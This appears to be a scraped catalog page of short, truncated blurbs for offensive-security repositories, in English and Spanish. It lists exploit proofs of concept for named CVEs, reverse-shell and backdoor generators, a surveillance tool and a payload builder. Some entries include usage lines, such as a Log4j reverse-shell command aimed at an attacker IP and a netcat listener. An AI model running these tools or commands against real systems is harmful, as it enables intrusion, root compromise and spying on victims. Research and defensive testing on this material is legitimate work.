SharpPolarBear

SharpPolarBear This is a weaponized version for one of the Exploits published by SandboxEscaper from here https://github.com/SandboxEscaper/polarbearrepo. Most of the code comes from rasta-mouse CollectorService repository https://github.com/rasta-mouse/CollectorService. I just changed the...

RancidCrisco

RancidCrisco PoC mínimo viable para CVE-2023-20126 Esta es la versión inicial. Funciona, pero es el exploit del 'caso más simple'. Probado y funcionando en SPA112/SPA122 - SPA232D requiere una imagen de firmware diferente. Proporciona una shell de root en el puerto 23000/tcp. Todavía necesito...

Scalar-Venom-Attack

This paper analyzes cryptographic vulnerabilities discovered in modern cryptographic key management infrastructure, with a particular focus on critical flaws in the architecture of hardware security modules HSMs when handling elliptic curve private keys. The study focuses on a class of attacks th...

Zerodoor

ZeroDoor A script written lazily for generating reverse shell backdoors on the go whenever you need without any hassle for your daily penetration needs . These backdoors are not james bond high tech stuff but rather simple ones to prevent over exploitation and limited capabilities Once you genera...

revshellgen

🚀 RevShellGen Generador de Reverse Shell Automatiza la generación de reverse shells con estilo Genera, codifica y captura reverse shells sin complicaciones Características • Instalación • Uso • Tipos de shells • Contribuir 📖 Acerca de RevShellGen es una potente herramienta de línea de comandos qu...

revshellgen

🚀 RevShellGen Reverse Shell Generator Automate reverse shell generation with style Generate, encode, and catch reverse shells without the hassle Features • Installation • Usage • Shell Types • Contributing 📖 About RevShellGen is a powerful command-line tool that simplifies the process of generati...

CVE-2017-7494

CVE-2017-7494 Remote root exploit for the SAMBA CVE-2017-7494 vulnerability. Details This exploit is divided in 2 parts: First, it compiles a payload called "implant.c" and generates a library libimplantx32.so or libimplantx64.so that changes to the root user, detaches from the parent process and...

CVE-2022-22965

Spring Boot CVE-2022-22965 Docker PoC for CVE-2022-22965 with Spring Boot version 2.6.5 🚀 Getting Started 1. Download the distribution code from https://github.com/itsecurityco/CVE-2022-22965/archive/refs/heads/master.zip and unzip it. 2. Run docker compose up --build to build and start the...

Log4j2-CVE-2021-44228-revshell

Log4j2-CVE-2021-44228-revshell Usage root@kitploit: For reverse shell: $ python3 Log4j2-revshell.py -M rev -u http://www.victimLog4j.xyz:8080 -l AttackerIP -p AttackerPort -hp HTTPServerPort For check exploitable: $ python3 Log4j2-revshell.py -M check -u http://www.victimLog4j.xyz:8080 -l...

s2-062

s2-062 Remote Code Execution S2-062 CVE-2021-31805 Verification POC Verification method vulfocus range issue The poc inside validates against the s2-061 range, with the parameter id; the new range uses the parameter name The main reason for identifying it as id is that I can't think of any good...

root-exploit-pixel3

Root Exploit for Pixel 3 Family This folder contains a local privilege escalation exploit, a modification of the bluefrostsecurity PoC for CVE-2020-0041. The exploit disables SELinux and then launches a root shell. The exploit was provided with hardcoded offsets for a Pixel 3 device running the...

CVE-2018-10933

CVE-2018-10933 to test this code: get vulnerable version of libssh at homepage: https://www.libssh.org/files/0.7/libssh-0.7.4.tar.xz uncompress and build, then go to example directory, there's a simple sshd server using libssh name: samplesshd-cb run this simple sshd by command: $ samplesshd-cb...

fix-react2shell-next

fix-react2shell-next Un comando para corregir CVE-2025-66478 React 2 Shell RCE en tu aplicación Next.js / React RSC. root@kitploit: npx fix-react2shell-next Incrementos de versión deterministas según los avisos oficiales. Qué hace 1. Escanea recursivamente todos los archivos package.json admite...

CVE-2025-13780

CVE-2025-13780: pgAdmin 4 = 8.14 RCE Scanner A comprehensive vulnerability scanner for CVE-2025-13780 , a Remote Code Execution RCE vulnerability in pgAdmin 4 versions ≤ 8.14. 🔍 Vulnerability Details The vulnerability exists in the Restore feature of pgAdmin 4. The application attempts to block...

CVE-2023-50564

CVE-2023-50564 How to use First setup a listener for the reverse shell. Terminal 1 root@kitploit: nc -nlvp Execute the script which will attempt to install a pluck module sending the reverse shell back to us. Terminal 2 root@kitploit: go run exploit.go -url -password -i -p...

CVE-2026-85082 Maple Media Root Browser Classic 3.3.0 - OS command injection through crafted SQLite filenames

Root Browser Classic 3.3.0 passes the path of a selected SQLite database to an operating-system shell without safely separating the filename from the command...

EggShell

EggShell About EggShell is a post exploitation surveillance tool written in Python. It gives you a command line session with extra functionality between you and a target machine. EggShell gives you the power and convenience of uploading/downloading files, tab completion, taking pictures, location...

Webmin-CVE-2022-0824-revshell

Webmin-CVE-2022-0824-revshell Descripción de la Vulnerabilidad Webmin 1.984 y anteriores - Exploit de privilegios del Administrador de Archivos CVE-2022-0824 y CVE-2022-0829 Usuarios de Webmin con menos privilegios que no tengan restricciones configuradas en el módulo del Administrador de Archivo...

payday

Payday Generador de payloads que utiliza Metasploit y Veil. Toma la dirección IP como entrada y luego construye payloads automáticamente. Llama al framework Veil con la dirección IP proporcionada y crea binarios y handlers. Utiliza msfvenom para crear payloads y escribe archivos de handlers de...

cve-2010-3847

CVE-2010-3847 script Meant to automate the exploit discussed in http://marc.info/?l=full-disclosure&m=128776663124692&w=2. Tested on CentOS 5 x86. The DSO it outputs is compiled from the following code: root@kitploit: include include include void attributeconstructor init setuid0;...